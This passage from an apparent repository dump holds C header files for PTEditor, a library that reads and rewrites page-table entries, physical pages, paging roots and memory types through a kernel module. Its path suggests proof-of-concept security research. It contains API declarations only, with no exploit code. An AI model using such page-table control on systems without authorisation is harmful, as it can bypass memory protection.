Initialization was successful\n  * @return -1 Initialization failed\n  */\nint ptedit_init();\n\n/**\n * Releases PTEditor kernel module\n *\n */\nvoid ptedit_cleanup();\n\n/**\n * Switch between kernel and user-space implementation\n *\n * @param[in] implementation The implementation to use, either PTEDIT_IMPL_KERNEL, PTEDIT_IMPL_USER, or PTEDIT_IMPL_USER_PREAD\n *\n */\nvoid ptedit_use_implementation(int implementation);\n\n/** @} */\n\n\n\n\n/**\n * Functions to read and write page tables\n *\n * @defgroup PAGETABLE Page tables\n *\n * @{\n */\n\ntypedef ptedit_entry_t(*ptedit_resolve_t)(void*, pid_t);\ntypedef void (*ptedit_update_t)(void*, pid_t, ptedit_entry_t*);\n\n\n/**\n * Resolves the page-table entries of all levels for a virtual address of a given process.\n *\n * @param[in] address The virtual address to resolve\n * @param[in] pid The pid of the process (0 for own process)\n *\n * @return A structure containing the page-table entries of all levels.\n */\nptedit_resolve_t ptedit_resolve;\n\n/**\n * Updates one or more page-table entries for a virtual address of a given process.\n * The TLB for the given address is flushed after updating the entries.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n * @param[in] vm A structure containing the values for the page-table entries and a bitmask indicating which entries to update\n *\n */\nptedit_update_t ptedit_update;\n\n/**\n * Sets a bit directly in the PTE of an address.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n * @param[in] bit The bit to set (one of PTEDIT_PAGE_BIT_*)\n *\n */\nvoid ptedit_pte_set_bit(void* address, pid_t pid, int bit);\n\n/**\n * Clears a bit directly in the PTE of an address.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n * @param[in] bit The bit to clear (one of PTEDIT_PAGE_BIT_*)\n *\n */\nvoid ptedit_pte_clear_bit(void* address, pid_t pid, int bit);\n\n/**\n * Returns the value of a bit directly from the PTE of an address.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n * @param[in] bit The bit to get (one of PTEDIT_PAGE_BIT_*)\n *\n * @return The value of the bit (0 or 1)\n *\n */\nunsigned char ptedit_pte_get_bit(void* address, pid_t pid, int bit);\n\n/**\n * Reads the PFN directly from the PTE of an address.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n *\n * @return The page-frame number (PFN)\n *\n */\nsize_t ptedit_pte_get_pfn(void* address, pid_t pid);\n\n/**\n * Sets the PFN directly in the PTE of an address.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n * @param[in] pfn The new page-frame number (PFN)\n *\n */\nvoid ptedit_pte_set_pfn(void* address, pid_t pid, size_t pfn);\n\n\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n#define PTEDIT_PAGE_PRESENT 1\n\n/**\n * Struct to access the fields of the PGD\n */\n#pragma pack(push,1)\ntypedef struct {\n    size_t present : 1;\n    size_t writeable : 1;\n    size_t user_access : 1;\n    size_t write_through : 1;\n    size_t cache_disabled : 1;\n    size_t accessed : 1;\n    size_t ignored_3 : 1;\n    size_t size : 1;\n    size_t ignored_2 : 4;\n    size_t pfn : 28;\n    size_t reserved_1 : 12;\n    size_t ignored_1 : 11;\n    size_t execution_disabled : 1;\n} ptedit_pgd_t;\n#pragma pack(pop)\n\n\n/**\n * Struct to access the fields of the P4D\n */\ntypedef ptedit_pgd_t ptedit_p4d_t;\n\n\n/**\n * Struct to access the fields of the PUD\n */\ntypedef ptedit_pgd_t ptedit_pud_t;\n\n\n/**\n * Struct to access the fields of the PMD\n */\ntypedef ptedit_pgd_t ptedit_pmd_t;\n\n\n/**\n * Struct to access the fields of the PMD when mapping a  large page (2MB)\n */\n#pragma pack(push,1)\ntypedef struct {\n    size_t present : 1;\n    size_t writeable : 1;\n    size_t user_access : 1;\n    size_t write_through : 1;\n    size_t cache_disabled : 1;\n    size_t accessed : 1;\n    size_t dirty : 1;\n    size_t size : 1;\n    size_t global : 1;\n    size_t ignored_2 : 3;\n    size_t pat : 1;\n    size_t reserved_2 : 8;\n    size_t pfn : 19;\n    size_t reserved_1 : 12;\n    size_t ignored_1 : 11;\n    size_t execution_disabled : 1;\n} ptedit_pmd_large_t;\n#pragma pack(pop)\n\n/**\n * Struct to access the fields of the PTE\n */\n#pragma pack(push,1)\ntypedef struct {\n    size_t present : 1;\n    size_t writeable : 1;\n    size_t user_access : 1;\n    size_t write_through : 1;\n    size_t cache_disabled : 1;\n    size_t accessed : 1;\n    size_t dirty : 1;\n    size_t size : 1;\n    size_t global : 1;\n    size_t ignored_2 : 3;\n    size_t pfn : 28;\n    size_t reserved_1 : 12;\n    size_t ignored_1 : 11;\n    size_t execution_disabled : 1;\n} ptedit_pte_t;\n#pragma pack(pop)\n\n#elif defined(__aarch64__)\n#define PTEDIT_PAGE_PRESENT 3\n\n\n/**\n * Struct to access the fields of the PGD\n */\ntypedef struct {\n    size_t present : 2;\n    size_t ignored_1 : 10;\n    size_t pfn : 36;\n    size_t reserved : 4;\n    size_t ignored_2 : 7;\n    size_t pxn_table : 1;\n    size_t xn_table : 1;\n    size_t ap_table : 2;\n    size_t ns_table : 1;\n}__attribute__((__packed__)) ptedit_pgd_t;\n\n\n/**\n * Struct to access the fields of the P4D\n */\ntypedef ptedit_pgd_t ptedit_p4d_t;\n\n\n/**\n * Struct to access the fields of the PUD\n */\ntypedef ptedit_pgd_t ptedit_pud_t;\n\n\n/**\n * Struct to access the fields of the PMD\n */\ntypedef ptedit_pgd_t ptedit_pmd_t;\n\n\n/**\n * Struct to access the fields of the PGD when mapping a large page\n */\ntypedef struct {\n    size_t present : 2;\n    size_t memory_attributes_index : 3;\n    size_t non_secure : 1;\n    size_t access_permissions : 2;\n    size_t shareability_field : 2;\n    size_t access_flag : 1;\n    size_t not_global : 1;\n    size_t reserved_1 : 18;\n    size_t pfn : 18;\n    size_t reserved_2 : 4;\n    size_t contiguous : 1;\n    size_t privileged_execute_never : 1;\n    size_t execute_never : 1;\n    size_t ingored_1 : 4;\n    size_t ignored_2 : 5;\n}__attribute__((__packed__)) ptedit_pgd_large_t;\n\n\n/**\n * Struct to access the fields of the PMD when mapping a large page\n */\ntypedef struct {\n    size_t present : 2;\n    size_t memory_attributes_index : 3;\n    size_t non_secure : 1;\n    size_t access_permissions : 2;\n    size_t shareability_field : 2;\n    size_t access_flag : 1;\n    size_t not_global : 1;\n    size_t reserved_1 : 9;\n    size_t pfn : 27;\n    size_t reserved_2 : 4;\n    size_t contiguous : 1;\n    size_t privileged_execute_never : 1;\n    size_t execute_never : 1;\n    size_t ingored_1 : 4;\n    size_t ignored_2 : 5;\n}__attribute__((__packed__)) ptedit_pmd_large_t;\n\n\n/**\n * Struct to access the fields of the PTE\n */\ntypedef struct {\n    size_t present : 2;\n    size_t memory_attributes_index : 3;\n    size_t non_secure : 1;\n    size_t access_permissions : 2;\n    size_t shareability_field : 2;\n    size_t access_flag : 1;\n    size_t not_global : 1;\n    size_t pfn : 36;\n    size_t reserved_1 : 4;\n    size_t contiguous : 1;\n    size_t privileged_execute_never : 1;\n    size_t execute_never : 1;\n    size_t ingored_1 : 4;\n    size_t ignored_2 : 5;\n}__attribute__((__packed__)) ptedit_pte_t;\n#endif\n\n/**\n * Casts a paging structure entry (e.g., page table) to a structure with easy access to its fields\n *\n * @param[in] v Entry to Cast\n * @param[in] type Data type of struct to cast to, e.g., ptedit_pte_t\n *\n * @return Struct of type \"type\" with easily accessible fields\n */\n#define ptedit_cast(v, type) (*((type*)(&(v))))\n\n /** @} */\n\n\n\n /**\n  * General system info\n  *\n  * @defgroup SYSTEMINFO System info\n  *\n  * @{\n  */\n\n  /**\n   * Returns the default page size of the system\n   *\n   * @return Page size of the system in bytes\n   */\nint ptedit_get_pagesize();\n\n/** @} */\n\n\n\n/**\n * Get and set page frame numbers\n *\n * @defgroup PFN Page frame numbers (PFN)\n *\n * @{\n */\n\n /**\n  * Returns a new page-table entry where the page-frame number (PFN) is replaced by the specified one.\n  *\n  * @param[in] entry The page-table entry to modify\n  * @param[in] pfn The new page-frame number (PFN)\n  *\n  * @return A new page-table entry with the given page-frame number\n  */\nsize_t ptedit_set_pfn(size_t entry, size_t pfn);\n\n/**\n * Returns the page-frame number (PFN) of a page-table entry.\n *\n * @param[in] entry The page-table entry to extract the PFN from\n *\n * @return The page-frame number\n */\nsize_t ptedit_get_pfn(size_t entry);\n\n/** @} */\n\n\n\n\n/**\n * Reading and writing of physical pages\n *\n * @defgroup PHYSICALPAGE Physical pages\n *\n * @{\n */\n\n /**\n  * Retrieves the content of a physical page.\n  *\n  * @param[in] pfn The page-frame number (PFN) of the page to read\n  * @param[out] buffer A buffer which is large enough to hold the content of the page\n  *\n  */\nvoid ptedit_read_physical_page(size_t pfn, char* buffer);\n\n/**\n * Replaces the content of a physical page.\n *\n * @param[in] pfn The page-frame number (PFN) of the page to update\n * @param[in] content A buffer containing the new content of the page (must be the size of a physical page)\n *\n */\nvoid ptedit_write_physical_page(size_t pfn, char* content);\n\n/**\n * Map a physical address range.\n *\n * @param[in] physical The physical address to map\n * @param[in] length The length of the physical memory range to map\n *\n * @return A virtual address that can be used to access the physical range\n */\nvoid* ptedit_pmap(size_t physical, size_t length);\n\n/** @} */\n\n\n\n\n/**\n * Read and modify the root of paging structure\n *\n * @defgroup PAGING Paging\n *\n * @{\n */\n\n /**\n  * Returns the root of the paging structure (i.e., CR3 on x86 and TTBR0 on ARM).\n  *\n  * @param[in] pid The proccess id (0 for own process)\n  *\n  * @return The phyiscal address (not PFN!) of the first page table (i.e., the PGD)\n  *\n  */\nsize_t ptedit_get_paging_root(pid_t pid);\n\n/**\n * Sets the root of the paging structure (i.e., CR3 on x86 and TTBR0 on ARM).\n *\n * @param[in] pid The proccess id (0 for own process)\n * @param[in] root The physical address (not PFN!) of the first page table (i.e., the PGD)\n *\n */\nvoid ptedit_set_paging_root(pid_t pid, size_t root);\n\n/** @} */\n\n\n/**\n * Invalidations and barriers\n *\n * @defgroup BARRIERS TLB/Barriers\n *\n * @{\n */\n\n /**\n  * Invalidates the TLB for a given address on all CPUs.\n  *\n  * @param[in] address The address to invalidate\n  *\n  */\nvoid ptedit_invalidate_tlb(void* address);\n\n /**\n  * Change the method used for flushing the TLB (either kernel or custom function)\n  *\n  * @param[in] implementation The implementation to use, either PTEDITOR_TLB_INVALIDATION_KERNEL or PTEDITOR_TLB_INVALIDATION_CUSTOM\n  *\n  * @return 0 on success, -1 on failure\n  */\nint ptedit_switch_tlb_invalidation(int implementation);\n\n/**\n * A full serializing barrier which stops everything.\n *\n */\nvoid ptedit_full_serializing_barrier();\n\n/** @} */\n\n\n\n/**\n * Memory types (x86 PATs / ARM MAIR)\n *\n * @defgroup MTS Memory types (PATs / MAIR)\n *\n * @{\n */\n\n /**\n  * Reads the value of all memory types (x86 PATs / ARM MAIRs). This is equivalent to reading the MSR 0x277 (x86) / MAIR_EL1 (ARM).\n  *\n  * @return The memory types in the same format as in the IA32_PAT MSR / MAIR_EL1\n  *\n  */\nsize_t ptedit_get_mts();\n\n/**\n * Programs the value of all memory types (x86 PATs / ARM MAIRs). This is equivalent to writing to the MSR 0x277 (x86) / MAIR_EL1 (ARM) on all CPUs.\n *\n * @param[in] mts The memory types in the same format as in the IA32_PAT MSR / MAIR_EL1\n *\n */\nvoid ptedit_set_mts(size_t mts);\n\n/**\n * Reads the value of a specific memory type attribute (PAT/MAIR).\n *\n * @param[in] mt The PAT/MAIR ID (from 0 to 7)\n *\n * @return The PAT/MAIR value (can be one of PTEDIT_MT_*)\n *\n */\nchar ptedit_get_mt(unsigned char mt);\n\n/**\n * Programs the value of a specific memory type attribute (PAT/MAIR).\n *\n * @param[in] mt The PAT/MAIR ID (from 0 to 7)\n * @param[in] value The PAT/MAIR value (can be one of PTEDIT_MT_*)\n *\n */\nvoid ptedit_set_mt(unsigned char mt, unsigned char value);\n\n/**\n * Generates a bitmask of all memory type attributes (PAT/MAIR) which are programmed to the given value.\n *\n * @param[in] type A memory type, i.e., PAT/MAIR value (one of PTEDIT_MT_*)\n *\n * @return A bitmask where a set bit indicates that the corresponding PAT/MAIR has the given type\n *\n */\nunsigned char ptedit_find_mt(unsigned char type);\n\n/**\n * Returns the first memory type attribute (PAT/MAIR) which is programmed to the given memory type.\n *\n * @param[in] type A memory type, i.e., PAT/MAIR value (one of PTEDIT_MT_*)\n *\n * @return A PAT/MAIR ID, or -1 if no PAT/MAIR of this type was found\n *\n */\nint ptedit_find_first_mt(unsigned char type);\n\n/**\n * Returns a new page-table entry which uses the given memory type (PAT/MAIR).\n *\n * @param[in] entry A page-table entry\n * @param[in] mt A PAT/MAIR ID (between 0 and 7)\n *\n * @return A new page-table entry with the given memory type (PAT/MAIR)\n *\n */\nsize_t ptedit_apply_mt(size_t entry, unsigned char mt);\n\n/**\n * Returns the memory type (i.e., PAT/MAIR ID) which is used by a page-table entry.\n *\n * @param[in] entry A page-table entry\n *\n * @return A PAT/MAIR ID (between 0 and 7)\n *\n */\nunsigned char ptedit_extract_mt(size_t entry);\n\n/**\n * Returns a human-readable representation of a memory type (PAT/MAIR value).\n *\n * @param[in] mt A memory type (PAT/MAIR value, e.g., one of PTEDIT_MT_*)\n *\n * @return A human-readable representation of the memory type\n *\n */\nconst char* ptedit_mt_to_string(unsigned char mt);\n\n/** @} */\n\n\n\n/**\n * Pretty print\n *\n * @defgroup PRETTYPRINT Pretty print\n *\n * @{\n */\n\n /**\n  * Pretty prints a ptedit_entry_t struct.\n  *\n  * @param[in] entry A ptedit_entry_t struct\n  *\n  */\nvoid ptedit_print_entry_t(ptedit_entry_t entry);\n\n/**\n * Pretty prints a page-table entry.\n *\n * @param[in] entry A page-table entry\n *\n */\nvoid ptedit_print_entry(size_t entry);\n\n/**\n * Prints a single line of the pretty-print representation of a page-table entry.\n *\n * @param[in] entry A page-table entry\n * @param[in] line The line to print (0 to 3)\n *\n */\nvoid ptedit_print_entry_line(size_t entry, int line);\n\n/** @} */\n\n#endif\n"
  },
  {
    "path": "pocs/libpte/ptedit_header.h",
    "content": "// Warning: this file was generated by make. DO NOT EDIT!\n/* See LICENSE file for license and copyright information */\n\n#ifndef PTEDITOR_MODULE_H\n#define PTEDITOR_MODULE_H\n\n#if defined(__linux__) || defined(__linux) || defined(__unix__) || defined(LINUX) || defined(UNIX)\n#define LINUX\n#endif\n#if defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__) || defined(__CYGWIN__)\n#define WINDOWS\n#undef LINUX\n#endif\n\n\n#include <stddef.h>\n\n#if defined(LINUX)\n#define PTEDITOR_DEVICE_NAME \"pteditor\"\n#define PTEDITOR_DEVICE_PATH \"/dev/\" PTEDITOR_DEVICE_NAME\n#else\n#define PTEDITOR_DEVICE_NAME L\"PTEditorLink\"\n#define PTEDITOR_DEVICE_PATH L\"\\\\\\\\.\\\\\" PTEDITOR_DEVICE_NAME\n#endif\n\n/**\n * Structure containing the page-table entries of all levels.\n * The Linux names are aliased with the Intel names.\n */\ntypedef struct {\n    /** Process ID */\n    size_t pid;\n    /** Virtual address */\n    size_t vaddr;\n\n    /** Page global directory / Page map level 5 */\n    union {\n        size_t pgd;\n        size_t pml5;\n    };\n    /** Page directory 4 / Page map level 4 */\n    union {\n        size_t p4d;\n        size_t pml4;\n    };\n    /** Page upper directory / Page directory pointer table */\n    union {\n        size_t pud;\n        size_t pdpt;\n    };\n    /** Page middle directory / Page directory */\n    union {\n        size_t pmd;\n        size_t pd;\n    };\n    /** Page table entry */\n    size_t pte;\n    /** Bitmask indicating which entries are valid/should be updated */\n    size_t valid;\n} ptedit_entry_t;\n\n/**\n * Structure to read/write physical pages\n */\n#if defined(LINUX)\ntypedef struct {\n    /** Page-frame number */\n    size_t pfn;\n    /** Virtual address */\n    size_t vaddr;\n    /** Page size */\n    size_t size;\n    /** Page content */\n    unsigned char* buffer;\n} ptedit_page_t;\n#else\n__pragma(pack(push, 1))\ntypedef struct {\n    char content[4096];\n    size_t paddr;\n} ptedit_page_t;\n__pragma(pack(pop))\n#endif\n\n\n/**\n * Structure to get/set the root of paging\n */\ntypedef struct {\n    /** Process id */\n    size_t pid;\n    /** Physical address of paging root */\n    size_t root;\n} ptedit_paging_t;\n\n#define PTEDIT_VALID_MASK_PGD (1<<0)\n#define PTEDIT_VALID_MASK_P4D (1<<1)\n#define PTEDIT_VALID_MASK_PUD (1<<2)\n#define PTEDIT_VALID_MASK_PMD (1<<3)\n#define PTEDIT_VALID_MASK_PTE (1<<4)\n\n#define PTEDITOR_TLB_INVALIDATION_KERNEL 0\n#define PTEDITOR_TLB_INVALIDATION_CUSTOM 1\n\n#if defined(LINUX)\n#define PTEDITOR_IOCTL_MAGIC_NUMBER (long)0x3d17\n\n#define PTEDITOR_IOCTL_CMD_VM_RESOLVE \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 1, size_t)\n\n#define PTEDITOR_IOCTL_CMD_VM_UPDATE \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 2, size_t)\n\n#define PTEDITOR_IOCTL_CMD_VM_LOCK \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 3, size_t)\n\n#define PTEDITOR_IOCTL_CMD_VM_UNLOCK \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 4, size_t)\n\n#define PTEDITOR_IOCTL_CMD_READ_PAGE \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 5, size_t)\n\n#define PTEDITOR_IOCTL_CMD_WRITE_PAGE \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 6, size_t)\n\n#define PTEDITOR_IOCTL_CMD_GET_ROOT \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 7, size_t)\n\n#define PTEDITOR_IOCTL_CMD_SET_ROOT \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 8, size_t)\n\n#define PTEDITOR_IOCTL_CMD_GET_PAGESIZE \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 9, size_t)\n\n#define PTEDITOR_IOCTL_CMD_INVALIDATE_TLB \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 10, size_t)\n\n#define PTEDITOR_IOCTL_CMD_GET_PAT \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 11, size_t)\n\n#define PTEDITOR_IOCTL_CMD_SET_PAT \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 12, size_t)\n\n#define PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 13, size_t)\n#else\n#define PTEDITOR_READ_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_WRITE_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_READ_DATA)\n#define PTEDITOR_GET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_FLUSH_TLB CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_READ_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_WRITE_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_SET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_SET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_GET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#endif\n\n#endif // PTEDITOR_MODULE_H\n/** @file */\n\n#ifndef _PTEDITOR_H_\n#define _PTEDITOR_H_\n\n\n#include <sys/types.h>\n\n#if defined(WINDOWS)\ntypedef size_t pid_t;\n#endif\n\n/**\n * The implementation of PTEditor to use\n *\n * @defgroup PTEDITOR_IMPLEMENTATION PTEditor Implementation\n *\n * @{\n */\n\n /** Use the kernel to resolve and update paging structures */\n#define PTEDIT_IMPL_KERNEL       0\n/** Use the user-space implemenation to resolve and update paging structures, using pread to read from the memory mapping */\n#define PTEDIT_IMPL_USER_PREAD   1\n/** Use the user-space implemenation that maps the physical memory into user space to resolve and update paging structures */\n#define PTEDIT_IMPL_USER         2\n\n/**\n * The bits in a page-table entry\n *\n * @defgroup PAGETABLE_BITS Page Table Bits\n *\n * @{\n *\n */\n\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n\n /** Page is present */\n#define PTEDIT_PAGE_BIT_PRESENT 0\n/** Page is writeable */\n#define PTEDIT_PAGE_BIT_RW 1\n/** Page is userspace addressable */\n#define PTEDIT_PAGE_BIT_USER 2\n/** Page write through */\n#define PTEDIT_PAGE_BIT_PWT 3\n/** Page cache disabled */\n#define PTEDIT_PAGE_BIT_PCD 4\n/** Page was accessed (raised by CPU) */\n#define PTEDIT_PAGE_BIT_ACCESSED 5\n/** Page was written to (raised by CPU) */\n#define PTEDIT_PAGE_BIT_DIRTY 6\n/** 4 MB (or 2MB) page */\n#define PTEDIT_PAGE_BIT_PSE 7\n/** PAT (only on 4KB pages) */\n#define PTEDIT_PAGE_BIT_PAT 7\n/** Global TLB entry PPro+ */\n#define PTEDIT_PAGE_BIT_GLOBAL 8\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW1 9\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW2 10\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW3 11\n/** PAT (on 2MB or 1GB pages) */\n#define PTEDIT_PAGE_BIT_PAT_LARGE 12\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW4 58\n/** Protection Keys, bit 1/4 */\n#define PTEDIT_PAGE_BIT_PKEY_BIT0 59\n/** Protection Keys, bit 2/4 */\n#define PTEDIT_PAGE_BIT_PKEY_BIT1 60\n/** Protection Keys, bit 3/4 */\n#define PTEDIT_PAGE_BIT_PKEY_BIT2 61\n/** Protection Keys, bit 4/4 */\n#define PTEDIT_PAGE_BIT_PKEY_BIT3 62\n/** No execute: only valid after cpuid check */\n#define PTEDIT_PAGE_BIT_NX 63\n\n#elif defined(__aarch64__)\n\n /** Entry type 1/2 */\n#define PTEDIT_PAGE_BIT_TYPE_BIT0 0\n/** Entry type 1/2 */\n#define PTEDIT_PAGE_BIT_TYPE_BIT1 1\n/** Memory attribute index 1/3 */\n#define PTEDIT_PAGE_BIT_MAIR_BIT0 2\n/** Memory attribute index 2/3 */\n#define PTEDIT_PAGE_BIT_MAIR_BIT1 3\n/** Memory attribute index 3/3 */\n#define PTEDIT_PAGE_BIT_MAIR_BIT2 4\n/** Page is non-secure */\n#define PTEDIT_PAGE_BIT_NON_SECURE 5\n/** Page permissions 1/2 */\n#define PTEDIT_PAGE_BIT_PERMISSION_BIT0 6\n/** Page permissions 2/2 */\n#define PTEDIT_PAGE_BIT_PERMISSION_BIT1 7\n/** Shareability domain 1/2 */\n#define PTEDIT_PAGE_BIT_SHARE_BIT0 8\n/** Shareability domain 2/2 */\n#define PTEDIT_PAGE_BIT_SHARE_BIT1 9\n/** Page was accessed (raised by CPU) */\n#define PTEDIT_PAGE_BIT_ACCESSED 10\n/** Page is not global */\n#define PTEDIT_PAGE_BIT_NOT_GLOBAL 11\n/** Contiguous */\n#define PTEDIT_PAGE_BIT_CONTIGUOUS 52\n/** Privileged execute never */\n#define PTEDIT_PAGE_BIT_PXN 53\n/** Execute never */\n#define PTEDIT_PAGE_BIT_XN 54\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW1 55\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW2 56\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW3 57\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW4 58\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW5 59\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW6 60\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW7 61\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW8 62\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW9 63\n\n#endif\n/** @} */\n\n/**\n * The memory types (PAT/MAIR)values\n *\n * @defgroup MEMORY_TYPES Memory Types (PAT/MAIR values)\n *\n * @{\n */\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n\n /** Strong uncachable (nothing is cached) */\n#define PTEDIT_MT_UC      0\n/** Write combining (consecuite writes are combined in a WC buffer and then written once) */\n#define PTEDIT_MT_WC      1\n/** Write through (read accesses are cached, write access are written to cache and memory) */\n#define PTEDIT_MT_WT      4\n/** Write protected (only read access is cached) */\n#define PTEDIT_MT_WP      5\n/** Write back (read and write accesses are cached) */\n#define PTEDIT_MT_WB      6\n/** Uncachable (as UC, but can be changed to WC through MTRRs) */\n#define PTEDIT_MT_UCMINUS 7\n\n#elif defined(__aarch64__)\n\n /** Strong uncachable (nothing is cached) */\n#define PTEDIT_MT_UC      0x44\n/** Write through (read accesses are cached, write access are written to cache and memory) */\n#define PTEDIT_MT_WT      0xbb\n/** Write back (read and write accesses are cached) */\n#define PTEDIT_MT_WB      0xff\n\n#endif\n/** @} */\n\n\n/**\n * Basic functionality required in every program\n *\n * @defgroup BASIC Basic Functionality\n *\n * @{\n */\n\n /**\n  * Initializes (and acquires) PTEditor kernel module\n  *\n  * @return 0 Initialization was successful\n  * @return -1 Initialization failed\n  */\nint ptedit_init();\n\n/**\n * Releases PTEditor kernel module\n *\n */\nvoid ptedit_cleanup();\n\n/**\n * Switch between kernel and user-space implementation\n *\n * @param[in] implementation The implementation to use, either PTEDIT_IMPL_KERNEL, PTEDIT_IMPL_USER, or PTEDIT_IMPL_USER_PREAD\n *\n */\nvoid ptedit_use_implementation(int implementation);\n\n/** @} */\n\n\n\n\n/**\n * Functions to read and write page tables\n *\n * @defgroup PAGETABLE Page tables\n *\n * @{\n */\n\ntypedef ptedit_entry_t(*ptedit_resolve_t)(void*, pid_t);\ntypedef void (*ptedit_update_t)(void*, pid_t, ptedit_entry_t*);\n\n\n/**\n * Resolves the page-table entries of all levels for a virtual address of a given process.\n *\n * @param[in] address The virtual address to resolve\n * @param[in] pid The pid of the process (0 for own process)\n *\n * @return A structure containing the page-table entries of all levels.\n */\nptedit_resolve_t ptedit_resolve;\n\n/**\n * Updates one or more page-table entries for a virtual address of a given process.\n * The TLB for the given address is flushed after updating the entries.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n * @param[in] vm A structure containing the values for the page-table entries and a bitmask indicating which entries to update\n *\n */\nptedit_update_t ptedit_update;\n\n/**\n * Sets a bit directly in the PTE of an address.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n * @param[in] bit The bit to set (one of PTEDIT_PAGE_BIT_*)\n *\n */\nvoid ptedit_pte_set_bit(void* address, pid_t pid, int bit);\n\n/**\n * Clears a bit directly in the PTE of an address.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n * @param[in] bit The bit to clear (one of PTEDIT_PAGE_BIT_*)\n *\n */\nvoid ptedit_pte_clear_bit(void* address, pid_t pid, int bit);\n\n/**\n * Returns the value of a bit directly from the PTE of an address.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n * @param[in] bit The bit to get (one of PTEDIT_PAGE_BIT_*)\n *\n * @return The value of the bit (0 or 1)\n *\n */\nunsigned char ptedit_pte_get_bit(void* address, pid_t pid, int bit);\n\n/**\n * Reads the PFN directly from the PTE of an address.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n *\n * @return The page-frame number (PFN)\n *\n */\nsize_t ptedit_pte_get_pfn(void* address, pid_t pid);\n\n/**\n * Sets the PFN directly in the PTE of an address.\n *\n * @param[in] address The virtual address\n * @param[in] pid The pid of the process (0 for own process)\n * @param[in] pfn The new page-frame number (PFN)\n *\n */\nvoid ptedit_pte_set_pfn(void* address, pid_t pid, size_t pfn);\n\n\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n#define PTEDIT_PAGE_PRESENT 1\n\n/**\n * Struct to access the fields of the PGD\n */\n#pragma pack(push,1)\ntypedef struct {\n    size_t present : 1;\n    size_t writeable : 1;\n    size_t user_access : 1;\n    size_t write_through : 1;\n    size_t cache_disabled : 1;\n    size_t accessed : 1;\n    size_t ignored_3 : 1;\n    size_t size : 1;\n    size_t ignored_2 : 4;\n    size_t pfn : 28;\n    size_t reserved_1 : 12;\n    size_t ignored_1 : 11;\n    size_t execution_disabled : 1;\n} ptedit_pgd_t;\n#pragma pack(pop)\n\n\n/**\n * Struct to access the fields of the P4D\n */\ntypedef ptedit_pgd_t ptedit_p4d_t;\n\n\n/**\n * Struct to access the fields of the PUD\n */\ntypedef ptedit_pgd_t ptedit_pud_t;\n\n\n/**\n * Struct to access the fields of the PMD\n */\ntypedef ptedit_pgd_t ptedit_pmd_t;\n\n\n/**\n * Struct to access the fields of the PMD when mapping a  large page (2MB)\n */\n#pragma pack(push,1)\ntypedef struct {\n    size_t present : 1;\n    size_t writeable : 1;\n    size_t user_access : 1;\n    